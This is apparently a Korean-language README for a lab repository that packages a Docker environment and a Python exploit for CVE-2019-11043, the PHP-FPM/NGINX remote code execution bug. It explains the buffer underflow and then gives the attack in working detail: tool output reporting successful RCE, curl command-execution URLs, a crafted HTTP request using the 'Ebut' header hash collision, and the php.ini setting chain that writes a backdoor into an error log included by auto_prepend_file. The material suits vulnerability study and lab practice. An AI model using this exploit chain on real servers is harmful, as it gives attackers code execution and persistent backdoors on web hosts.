
이 저장소는 CVE-2019-11043 취약점의 Docker 기반 인프라와 Python 구현을 제공합니다.
CVE-2019-11043 익스플로잇의 Python 구현
CVE-2019-11043로 기록된 이 익스플로잇은 NGINX 서버와 함께 PHP-FPM 구현의 버그를 이용합니다. 특정 구성에서 FastCGI path_info의 정규 표현식으로 인해 FPM 모듈이 할당된 버퍼를 넘어 FastCGI 프로토콜 데이터를 위해 예약된 공간에 쓰게 됩니다. 그 결과, 웹 사용자가 원격으로 코드를 실행할 수 있게 됩니다. 다음 표는 Common Vulnerability Scoring System (CVSS)에 따른 익스플로잇의 심각도 평가를 보여줍니다.
| 지표 | 값 |
|---|---|
| 영향 점수 | 5.9 |
| 기본 점수 | 9.8 |
| 심각도 | 심각 |
| 접근 벡터 | 네트워크 |
| 기밀성 | 높음 |
| 무결성 | 높음 |
| 가용성 | 높음 |
도커 이미지:
Python:
프로젝트를 실행하려면 Docker와 docker-compose가 설치되어 있어야 합니다.
프로젝트 루트 디렉터리에서 다음 명령을 실행하면 필요한 모든 도커 이미지가 다운로드되고 컨테이너가 올바른 순서로 시작됩니다:
docker-compose up
데몬 모드로 실행하려면 다음 명령을 실행하세요:
docker-compose up -d
데몬 모드를 중지하려면 다음 명령을 실행하세요:
docker-compose down
예시
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
이 취약점은 Real World CTF 2019 예선전에서 발견되었는데, 보안 연구원 Andrew Danau가 새 줄 제어 문자 %0A를 보내면 서버 코드에서 예외가 발생한다는 것을 발견했습니다.
fastcgi_split_path_info 지시문의 정규 표현식은 새 줄 문자(인코딩된 형태 %0A)를 사용하여 깨질 수 있습니다. 깨진 정규 표현식은 빈 PATH_INFO를 초래하며, 이는 버그를 유발합니다.
env_path_info는 변수 path_info의 주소이므로 path_info가 0이면 pilen도 0입니다. slen은 요청된 URL의 길이입니다.

URL 경로와 쿼리 문자열의 길이를 신중하게 선택함으로써 공격자는 path_info가 _fcgi_data_seg 구조체의 첫 번째 바이트를 정확히 가리키도록 할 수 있습니다. 여기에 0을 넣으면 char* pos 필드가 뒤로 이동하고, 이후 FCGI_PUTENV가 스크립트 경로로 일부 데이터(다른 fast cgi 변수 포함)를 덮어씁니다. 이 기술을 사용하여 취약점은 가짜 PHP_VALUE FCGI 변수를 생성하고, 신중하게 선택된 구성 값 체인을 사용하여 코드 실행을 달성합니다.

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len은 URL 경로의 길이입니다.
http://localhost:11043/index.php/TUD%0aNetSec.php인 경우/var/www/html/index.php/TUD\nNetSec.php입니다.ptlen은 URL 경로에서 첫 번째 슬래시 이전의 내용 길이입니다.
http://localhost:11043/index.php/TUD%0aNetSec.php인 경우pt는 /var/www/html/index.php입니다.두 변수 "len"과 "ptlen"의 차이는 URL에 지정된 경로의 길이입니다. 이 두 가지 경로가 제어 가능하므로 변수 path_info도 제어할 수 있습니다.
경로가 제어 가능하므로 모든 주소의 값을 0으로 설정할 수 있습니다 (1222행). 대상 주소의 값을 0으로 설정하면 _fcgi_data_seg 구조체의 char* pos를 0으로 제어할 수 있습니다. 이 방법으로 버퍼 언더플로우를 악용하여 전역 변수를 올바른 메모리 공간에 쓸 수 있습니다.
해시와 길이는 키보다 먼저 비교됩니다. 올바른 헤더와 키를 신중하게 선택함으로써 헤더를 사용하여 추가할 수 있습니다. neex의 연구에 따르면, HTTP_EBUT가 되는 문자열 "ebut"은 PHP_VALUE와 동일한 길이와 FCGI_HASH 값을 갖습니다. 이를 통해 서버에 다음과 유사한 GET 요청을 보내면
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
헤더 HTTP_EBUT가 PHP_VALUE가 되고 값은 session_start=1이 됩니다.
다음 목록은 공격을 배포하기 위해 충족되어야 하는 필수 전제 조건을 제공합니다.
첫 번째 단계에서는 새 줄 제어 문자 %0A가 서버 코드에서 예외를 발생시키고 서버가 500보다 큰 HTTP 오류 코드로 응답하는 쿼리 문자열 길이를 찾아야 합니다. 이 정보를 바탕으로 PHP_VALUE를 작성하고 그 내용을 제어하려 시도할 수 있습니다. 먼저 세션을 설정하려고 합니다. 이것이 성공하면 서버의 취약성을 인지하게 됩니다. 이 시점에서 PHP의 모든 전역 변수를 제어할 수 있다는 것을 알게 됩니다.
앞서 수립된 서버 세션을 활용하여 서버 설정에서 전제 조건을 덮어쓰고 설정하여 원격 코드 실행을 허용합니다. 익스플로잇의 저자는 특수 PHP 설정 배열을 설정합니다. 자동 포함을 활성화하고, 경로를 /tmp로 설정하고, 로그 파일 주소를 /tmp/a로 설정하고, 페이로드를 로그 파일에 기록합니다. 마지막으로 PHP 파일이 자동으로 로그 파일을 포함하여 백도어를 만듭니다.
< GET /index.php/PHP_VALUE%0Asession.auto_start=1?TUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUD HTTP/1.1
< Host: localhost:11043
< User-Agent: CVE-2019-11043
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< TUD: AAAAAAAAAAAAAAAAA
< Ebut: tudda nwsec
<
> HTTP/1.1 200 OK
> Server: nginx/1.17.10
> Date: Tue, 19 May 2020 07:38:58 GMT
> Content-Type: text/html; charset=UTF-8
> Transfer-Encoding: chunked
> Connection: keep-alive
>
<html>
<head>
<title>Exploit PHP-FPM as proposed in CVE-2019-11043</title>
</head>
<body>
<p>Challenge PHP with nginx + php-fpm configurations.</p> </body>
</html>
원격 코드 실행을 가능하게 하는 php.ini 옵션 체인:
php_settings = [
"short_open_tag=1;;;;;;;", # Open short php tab
"html_errors=0;;;;;;;;;;", # Turn off HTML tag in the error message
"include_path=/tmp;;;;;;", # Include Path
"auto_prepend_file=a;;;;", # Specifies the files that are automatically included before the script executes, similar to require().
"log_errors=1;;;;;;;;;;;", # Enable error logging
"error_reporting=2;;;;;;", # Specify error level
"error_log=/tmp/a;;;;;;;", # Error logging file
"extension_dir=%22%3C%3F=%60%22;;;", # Specify the load directory for the extension
"extension=%22$_GET%5Ba%5D%60%3F%3E%22", # Specify the extension to load
]
참고: 세미콜론은 메모리 공간을 채우는 데 사용되며, PHP_VALUE\nauto_prepend_file=a;;;;는 34바이트가 되어 PATH_INFO의 고정 길이가 됩니다. 이를 통해 모든 설정이 메모리 공간에 올바르게 기록되도록 합니다.
PHP는 많은 인기 웹사이트와 웹 애플리케이션을 위한 프레임워크를 제공합니다. NGINX 기반 웹 서버와 PHP 7의 조합이 널리 사용되므로 이 취약점은 심각한 수준으로 분류되었습니다. 또한 구현이 비교적 쉽고 한 번 악용되면 지속성을 얻을 수 있습니다. CVE-2019-11043의 성공적인 익스플로잇은 RCE로 이어질 수 있으므로 해커와 위협 행위자가 웹 애플리케이션을 장악할 수 있습니다.
이 익스플로잇은 특정 NGINX 구성에만 제한된다는 사실 외에도 심각하게 받아들여져야 합니다. 기본 Nginx는 이 문제가 없습니다.
https://paper.seebug.org/1064/
https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html
https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc
https://github.com/neex/phuip-fpizdam
https://github.com/theMiddleBlue/CVE-2019-11043